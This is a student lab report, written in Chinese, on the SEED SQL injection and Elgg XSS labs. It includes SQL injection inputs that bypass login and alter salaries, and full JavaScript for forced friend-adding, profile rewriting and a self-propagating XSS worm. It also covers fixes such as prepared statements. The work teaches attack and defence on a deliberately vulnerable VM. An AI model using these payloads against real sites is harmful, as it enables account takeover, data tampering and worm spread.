# 20212935 2021-2022-2 《網路攻防實踐》實踐十報告
1.實踐目的
學會SQL注入攻擊,利用漏洞發起XSS攻擊。
2.實踐環境
SeedUbuntu
3.實踐內容
3.1 SEED SQL注入攻擊與防禦實驗
我們已經建立了一個Web應用程式,並將其託管www.SEEDLabSQLInjection.com。該Web應用程式是一個簡單的員工管理應用程式。員工可以通過此Web應用程式檢視和更新資料庫中的個人資訊。此Web應用程式主要有兩個角色:管理員是特權角色,可以管理每個員工的個人資料資訊。員工是一般角色,可以檢視或更新自己的個人資料資訊。完成以下任務:
- 熟悉SQL語句: 我們已經建立了一個名為Users的資料庫,其中包含一個名為creditential的表。該表儲存了每個員工的個人資訊(例如,eid,密碼,薪水,ssn等)。在此任務中,您需要使用資料庫來熟悉SQL查詢。
- 對SELECT語句的SQL注入攻擊:上述Web應用存在SQL輸入漏洞,任務是在不知道密碼的情況下登陸該Web應用程式。
- 對UPDATE語句的SQL注入攻擊:通過員工的更新個人介面實施UPDATE語句的SQL注入攻擊。
- SQL對抗:修復上述SQL注入攻擊漏洞。
3.2 SEED XSS跨站指令碼攻擊實驗(Elgg)
為了演示攻擊者可以利用XSS漏洞做什麼,我們在預先構建的Ubuntu VM映像中設定了一個名為Elgg的Web應用程式。在本實驗中,學生需要利用此漏洞對經過修改的Elgg發起XSS攻擊,攻擊的最終目的是在使用者之間傳播XSS蠕蟲,這樣,無論是誰檢視的受感染使用者個人資料都將被感染。
- 釋出惡意訊息,顯示警報視窗:在您的Elgg配置檔案中嵌入一個JavaScript程式,以便當另一個使用者檢視您的配置檔案時,將執行JavaScript程式並顯示一個警報視窗。
- 彈窗顯示cookie資訊:將cookie資訊顯示。
- 竊取受害者的cookies:將cookie傳送給攻擊者。
- 成為受害者的朋友:使用js程式加受害者為朋友,無需受害者干預,使用相關的工具瞭解Elgg加好友的過程。
- 修改受害者的資訊:使用js程式使得受害者在訪問Alice的頁面時,資料無需干預卻被修改。
- 編寫XSS蠕蟲。
- 對抗XSS攻擊。
4.實踐過程
4.1 SEED SQL注入攻擊與防禦實驗
使用sudo service apache2 start命令啟動Apache服務。
4.1.1 熟悉SQL語句
(1)使用mysql -u root -pseedubuntu命令登陸mysql資料庫。
(2)進入資料庫後,使用use databases;命令檢視如下:
然後使用use Users;、show tables;命令檢視此資料庫的表如下:
(3)使用select * from credential;命令打印出此資料庫中的所有成員資訊,並且還可以看到| ID | Name | EID | Salary | birth | SSN | Password |等資訊。
4.1.2 對SELECT語句的SQL注入攻擊
(1)開啟 Web應用網站:http://www.SEEDLabSQLInjection.com,使用ctrl+U快捷鍵檢視此頁面的原始碼,可以發現使用者在點選提交後,表單將使用者輸入的資訊使用get方法提交到了unsafe_home.php頁面進行許可權校驗。
(2)使用cd /var/www/SQLInjection/命令進入此網址。
(3)使用vim /unsafe_home.php命令找到SQL語句,可以看到此處where部分存在可以進行注入攻擊的漏洞。
後的內容為註釋內容,那麼我們可以利用此漏洞,將name設為Admin‘#,那麼#後邊的內容就都沒了,相當於密碼部分直接為空白。
(4)驗證此想法:使用者名稱為Admin‘#,密碼為空。
(5)發現登陸成功,並且可以看到使用者的Username、Eid、Salary、Birthday、SSN等資訊如下。
4.1.3 對UPDATE語句的SQL注入攻擊
(1)利用4.1.2中發現的漏洞,使用Alice‘#使用者名稱登陸,發現Alice相應的資訊如下:
(2)利用頁面上Edit Profile功能,進入修改資訊。
(3)使用vim unsafe_edit_backend.php命令找到SQL語句,可以看到這個不能對工資進行修改。
(4)利用上邊的漏洞,如果將nikename那一項設為:',salary='20212935'where EID='10000';#(Alice的編號是10000),那麼就可以將Alice的工資設為20212935.
儲存後得到如下:
4.1.4 SQL對抗:修復上述SQL注入攻擊漏洞
在unsafe_edit_backend.php頁面中,對UPDATE語句進行預處理。原來的語句:
$sql = "UPDATE credential SET nickname='$input_nickname',email='$input_email',address='$input_address',PhoneNumber='$input_phonenumber' where ID=$id;";
修改為:
$sql = $conn->prepare("UPDATE credential SET nickname=?,email=?,address=?,PhoneNumber=? where ID=$id;");$sql->bind_param("ssss", $input_nickname, $input_email,$input_address, $input_phonenumber);
4.2 SEED XSS跨站指令碼攻擊實驗(Elgg)
4.2.1 釋出惡意訊息,顯示警報視窗
(1)進入到http://www.xsslabelgg.com/profile/alice網址,登陸賬戶,賬戶:Alice 密碼:seedalice
(2)利用edit profile功能修改頁面資訊,Brief description位置輸入命令後儲存。
(3)進入Alice介面後會彈出如下警報視窗:
4.2.2 彈窗顯示cookie資訊
(1)利用edit profile功能修改頁面資訊,Brief description位置輸入命令後儲存
(2)進入介面時可以看到會彈出如下視窗,並將cookie資訊顯示出來
4.2.3 竊取受害者的cookies
(1)使用本機(192.168.1.140)當作攻擊者,令cookies傳送到本機的2935埠。
(2)Brief description中輸入如下攻擊程式碼
(3)終端處輸入nc -l 2935 -v 命令,監聽此埠,得到如下cookies資訊。
4.2.4 成為受害者的朋友
(1)進入http://www.xsslabelgg.com/profile/boby 網址,訪問Boby使用者的主頁,然後Ctrl+Shift+E進入到此頁面的network頁面,選擇Add friend選項新增此朋友。
(2)新增後會得到如下反饋介面,其中Request URL為http://www.xsslabelgg.com/action/friends/add?friend=45&__elgg_ts=1652762668&__elgg_token=aT1lAXvpdEUpbmNDMh4Rfw
(3)構造如下程式碼,輸入到Alice的About me中並儲存。
點選檢視程式碼
<script type="text/javascript"> window.onload = function () { var Ajax = null; var ts = "&__elgg_ts=" + elgg.security.token.__elgg_ts; var token = "&__elgg_token=" + elgg.security.token.__elgg_token; var sendurl = "http://www.xsslabelgg.com/action/friends/add?friend=44" + ts + token; //傳送 Ajax 請求 Ajax = new XMLHttpRequest(); Ajax.open("GET", sendurl, true); Ajax.setRequestHeader("Host", "www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(); } </script>
(4)重新進入alice頁面,可以看到右側朋友列表中已經新增Boby為朋友。
4.2.5 修改受害者資訊
(1)將以下程式碼複製到alice的about me中並儲存。
點選檢視程式碼
<script type="text/javascript"> window.onload = function(){ var userName=elgg.session.user.name; var guid="&guid="+elgg.session.user.guid; var ts="&__elgg_ts="+elgg.security.token.__elgg_ts; var token="&__elgg_token="+elgg.security.token.__elgg_token; var content= token + ts + "name=" + userName + "&description=<p>this had been changed by xss attack.</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid; var sendurl = "http://www.xsslabelgg.com/action/profile/edit" alert(content) //FILL IN var samyGuid=44; //FILL IN if(elgg.session.user.guid!=samyGuid) { var Ajax=null; Ajax=new XMLHttpRequest(); Ajax.open("POST",sendurl,true); Ajax.setRequestHeader("Host","www.xsslabelgg.com"); Ajax.setRequestHeader("Content-Type", "application/x-www-form-urlencoded"); Ajax.send(content); } } </script>
(2)在boby中點選alice的主頁,就會將boby的about me資訊替換,此時檢視HTTP header live為如下所示
(3)檢視boby為:
4.2.6 編寫xss蠕蟲
(1)選擇呼叫DOM API的方法實現蠕蟲感染。
(2)將以下程式碼寫入到alice的about me中。
點選檢視程式碼
<script id="worm" type="text/javascript">
window.onload = function(){
var headerTag = "<script id=\'worm\' type=\'text/javascript\'>";
var jsCode = document.getElementById("worm").innerHTML;
var tailTag = "</" + "script>";
var wormCode = encodeURIComponent(headerTag + jsCode + tailTag);
var userName=elgg.session.user.name;
var guid="&guid="+elgg.session.user.guid;
var ts="&__elgg_ts="+elgg.security.token.__elgg_ts;
var token="&__elgg_token="+elgg.security.token.__elgg_token;
//Construct the content of your url.
var content= token + ts + "&name=" + userName + "&description=<p>this page had been changed by xss attack "+ wormCode + "</p> &accesslevel[description]=2&briefdescription=&accesslevel[briefdescription]=2&location=&accesslevel[location]=2&interests=&accesslevel[interests]=2&skills=&accesslevel[skills]=2&contactemail=&accesslevel[contactemail]=2&phone=&accesslevel[phone]=2&mobile=&accesslevel[mobile]=2&website=&accesslevel[website]=2&twitter=&accesslevel[twitter]=2" + guid;
var sendurl = "http://www.xsslabelgg.com/action/profile/edit"
alert(content)
var samyGuid=44;
if(elgg.session.user.guid!=samyGuid){
var Ajax=null;
Ajax=new XMLHttpRequest();
Ajax.open("POST",sendurl,true);
Ajax.setRequestHeader("Host","www.xsslabelgg.com");
Ajax.setRequestHeader("Content-Type",
"application/x-www-form-urlencoded");
Ajax.send(content);
}
}
</script>
(3)儲存後,提示如下
(4)用boby訪問alice後,再返回boby,可以發現boby被感染蠕蟲
(5)登陸samy賬戶,檢視boby,再返回到samy,會看到samy也被蠕蟲感染。
4.2.7 對抗xss攻擊
(1)登陸admin賬戶(Admin;seedelgg),依次點選如下選擇
(2)點選進入Plugins,找到HTML,點選然後關閉。
(3)返回進入alice,可以發現不會被感染。
5.學習中遇到的問題及解決
- 問題1:實踐4.1.1時,無法檢視到資料庫的表
- 問題1解決方案:仔細檢查,發現在輸入命令時沒有加“;”,加上後就可以檢視到表的內容了。
- 問題2:實踐4.2.1時,跟著操作進入http://www.xsslabelgg.com/profile/alice網址後沒有可編輯的選項
- 問題2解決方案:沒有登陸alice的賬戶… ,登陸後就有了。
6.實踐總結
經過本次實踐,我對web應用程式安全攻防有了更深的認識,學會了如何利用SQL做注入攻擊,用XSS漏洞做攻擊。但本次實踐中一些需要寫程式的內容,我還不太會,要多加強這方面的學習。